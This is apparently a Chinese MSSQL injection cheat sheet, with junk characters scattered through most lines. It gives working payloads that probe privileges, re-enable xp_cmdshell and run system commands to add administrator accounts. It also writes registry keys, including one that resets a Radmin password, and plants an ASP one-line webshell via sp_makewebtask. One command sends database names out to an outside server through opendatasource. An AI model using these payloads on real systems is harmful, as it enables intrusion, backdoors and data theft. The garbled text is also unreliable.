//看看是什么权限的
! B$ d9 ]9 [6 S/ R" m* Pand 1=(Select IS_MEMBER('db_owner'))6 c; c" s0 u- b4 ^. W' U2 f
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--" P' D8 {. W2 K: U0 \" r
* c$ L) V) Z# n) J
//检测是否有读取某数据库的权限
; h) C+ D, X/ C, y% qand 1= (Select HAS_DBACCESS('master'))
! C9 `) }( z# A$ hAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
# K" y3 T4 ^& X$ @; F7 `4 j0 I; I8 {- ?) D% m+ {
3 `/ ]" G3 d' j; N+ B数字类型
7 e7 n A+ Y( Pand char(124)%2Buser%2Bchar(124)=0
1 h$ I' z5 X/ h
- t3 p+ a2 {. B2 n- {( w7 p字符类型
9 F- Z) @5 A4 _' and char(124)%2Buser%2Bchar(124)=0 and ''='! v2 l$ d: Y- C) S( v$ x* m) v
2 `: ^6 x/ ]2 y: Z) R( A搜索类型1 k1 |) N7 F$ D+ e! Z
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
0 ?8 f5 f; O8 d ?9 N
w& Y0 d2 f7 D' W) P9 g爆用户名
; ? f$ i0 r/ {+ J8 T. `& i3 v4 Nand user>0( \1 N' Y- C) k; y! r8 `
' and user>0 and ''='7 K5 V0 Y7 ~& _9 p! K& ?5 b+ l
+ @) G) j( T0 I+ i3 N
检测是否为SA权限! L8 z7 m4 }: z/ N' i# S' C5 ^
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--" u2 c# s' m$ n+ C
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
9 Y! ?% v) ?' x' D( w7 U" g p/ M- q6 E+ W) h% K: J7 M0 s
检测是不是MSSQL数据库
- }1 y) r! e/ p. w, M9 Mand exists (select * from sysobjects);--
" X) q" N& N! X9 w: a8 B
1 P7 ^( ^* `" v2 |* g2 C5 F检测是否支持多行
6 M% s9 A9 A& k- G9 k4 j; E; f;declare @d int;--
7 B+ l- x+ O3 j/ }, p7 \
8 [5 p! N$ h2 b* l恢复 xp_cmdshell
) B2 t3 N1 o# D% r$ [2 |;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
! `' P B8 G$ H) Z5 }4 E- Q9 i- A$ q) N/ ^ u% {
$ I- g& I0 J8 u7 P* nselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version'): j% j: w7 i# F+ |2 } @
3 V% Y' M5 c- C$ f T- u
//-----------------------* r- C$ a7 g% ^ P" N t: i6 U
// 执行命令
8 Q! g4 U; M' a' @4 i. A b: y' d R+ t//-----------------------" k2 ~, W+ H1 Y
首先开启沙盘模式:
( k# E3 a3 N. r. lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',14 n- I! y, \7 Y' a/ ?
: ~ v9 M9 e' \
然后利用jet.oledb执行系统命令
0 K. u* g2 q8 F$ B7 w6 oselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
3 c( [% c) ]' h" _) u3 x- ]8 R9 x) v8 K
执行命令6 ~- z( W( F: Q
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
9 |6 l: n$ d1 T$ ]# w$ s* h; l6 ]; s9 _
. y! } K$ f% ^* e7 y* J3 gEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
) [0 W( \1 H8 G$ X) L
1 z. z+ J) i! a: C8 ^: _! M判断xp_cmdshell扩展存储过程是否存在:+ ~+ `* y% i* y
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')1 j# h( Y9 r( ]* m& p& P
! y, o' j0 s! K# D* n2 M
写注册表
7 @% D5 h' b6 X. _1 Uexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
% P- {: `5 ?* Z0 |5 [( R. T3 [, L+ `8 |4 l* U- P
REG_SZ
- Y: _# l) X9 F/ X' X. B k; U
! W& v# Q% ]5 g( Q( z! [读注册表' L ]! S8 y( ^! f
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
+ _ z! |# e) z
K9 H8 ~2 z) Z. |7 ]0 g* \* r读取目录内容
1 Z3 @: d W( Aexec master..xp_dirtree 'c:\winnt\system32\',1,1. y$ n' d$ b+ [: B
) [/ D' H8 d* G: Q. U6 f- W/ Z
8 w/ o ~9 @% \1 y# M* f& k数据库备份
( \. P) L4 i! Rbackup database pubs to disk = 'c:\123.bak'+ b/ \: _2 X( g- n
' v1 `9 c2 E& \) v//爆出长度
* {! n( c: [' i8 _) L c8 GAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--% n) Q; a7 ` A* p
1 @0 Q3 ?! p- O" p
1 ?& p! M4 v H. r
4 `# }6 i4 w: O! L: ?* A! {- M更改sa口令方法:用sql综合利用工具连接后,执行命令:4 Y9 M0 n0 Q* h9 Q) H, Z
exec sp_password NULL,'新密码','sa'( F2 n' Q. }0 O! c' y0 g
# H4 W9 a' A" v添加和删除一个SA权限的用户test:/ j& N7 ?+ N4 v( n
exec master.dbo.sp_addlogin test,9530772# O. n4 h- c4 p' T
exec master.dbo.sp_addsrvrolemember test,sysadmin
2 I& X; A# H6 q; w, f0 z4 y1 z* I! R8 N% m8 x$ [
删除扩展存储过过程xp_cmdshell的语句:) P2 c( [ U6 q5 l3 l7 R" ^& g$ s0 J6 ~
exec sp_dropextendedproc 'xp_cmdshell'
5 n J6 r. L; f c( }4 p# w2 \2 Y* h+ E
添加扩展存储过过程
$ G: K' y3 m: O0 T. FEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
f3 W$ [7 ?4 E9 Y: L" ZGRANT exec On xp_proxiedadata TO public
* g0 {# B n0 K- C0 v
6 B3 V' e+ a4 Z& E; H3 t9 X/ ` e- _
停掉或激活某个服务。
/ g. M! k5 D, P8 J0 Q! Q; J7 \" h) R! V1 D
exec master..xp_servicecontrol 'stop','schedule'
! t, h# D0 F% w/ ]5 qexec master..xp_servicecontrol 'start','schedule', o# q- u! ]; ^, y8 r
, d* ^) ~% i$ ~3 O6 cdbo.xp_subdirs
5 x z. ]5 D! Q0 \- f5 E
_6 O+ g6 L' U6 K0 K0 ^只列某个目录下的子目录。: w: y' ]: q+ x+ [
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'4 Z' x' ?: o$ z* M2 b G1 a! `; K E9 C
* ]+ u9 U) i- ^5 Z
dbo.xp_makecab
2 P7 ^2 r8 |, P) h: d O
" q* m. [- n0 h& ]# C( J8 L将目标多个档案压缩到某个目标档案之内。
" ~3 G& `$ d8 t. M9 N# v9 k所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
$ Q6 F; z- N5 b) ]6 a# [ `8 ^; i9 V0 N& a% I2 W( p9 S
dbo.xp_makecab- R! ^9 _- J2 x8 D/ C8 J
'c:\test.cab','mszip',1,
& ] x$ M' j E6 b* o1 h) r'C:\Inetpub\wwwroot\SQLInject\login.asp',
4 c& K/ t7 {8 P# e'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'$ c1 x& G! ]4 I1 n5 R
0 q7 b4 y8 v+ k& G9 Z2 U! w& i
xp_terminate_process e4 T6 e" x/ |% i( }$ a) r
0 c Y; O% ]2 B% b6 ~0 e停掉某个执行中的程序,但赋予的参数是 Process ID。
, |: K1 h5 d! w利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
0 n! @5 W# k0 e8 n5 r+ B! d/ d$ C0 Y
xp_terminate_process 2484
8 N! o" b( M# C& x* M5 j9 s/ l1 A& H$ b4 E: M
xp_unpackcab% N) s$ |+ N9 }' q. X3 ]4 D) d4 D
3 G2 A9 i$ u4 K; I3 j3 ~
解开压缩档。
( n+ F8 o" Q6 x+ J
6 y4 S1 B7 O; I: Uxp_unpackcab 'c:\test.cab','c:\temp',1$ D2 E; ~, l0 {- f$ \+ _
* l. |& [$ X' }! O0 c
q8 y. B+ U' ?5 |$ t某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
5 a& K4 s3 {4 o* ]! r6 b- f; N/ \
create database lcx;
# U; @5 W: [$ C. tCreate TABLE ku(name nvarchar(256) null);
Q2 l# W. a+ ?. o% w% ICreate TABLE biao(id int NULL,name nvarchar(256) null);! v/ l u4 x0 f
) ^& d2 Y4 n) }, E) [* Z3 X//得到数据库名
4 V5 Y& [$ ^8 g0 kinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
/ d Y8 E/ }2 `; o" q& g
& A2 Q2 O- q P
, |7 a$ w D2 q3 Q9 q5 n5 k//在Master中创建表,看看权限怎样3 H1 e( F1 y+ K I7 e3 O
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--2 N" ?3 L& @* P- d# @ F5 d
& f7 ]. V; V/ v. U; D/ ?2 m6 M0 b用 sp_makewebtask直接在web目录里写入一句话马:
, H5 ~5 Y9 H* Z2 M$ Z+ @. ghttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
1 k( M9 Y+ |; `; l+ ?, |! x/ s2 w% @5 ?7 ~
//更新表内容
/ A- F3 ?$ a# s$ `) V' dUpdate films SET kind = 'Dramatic' Where id = 123
$ K2 ]& n) K) {& \; B5 Y5 z
# Y/ Y( ` I! I& C" C//删除内容8 F+ x( h7 R0 C. A
delete from table_name where Stockid = 3 |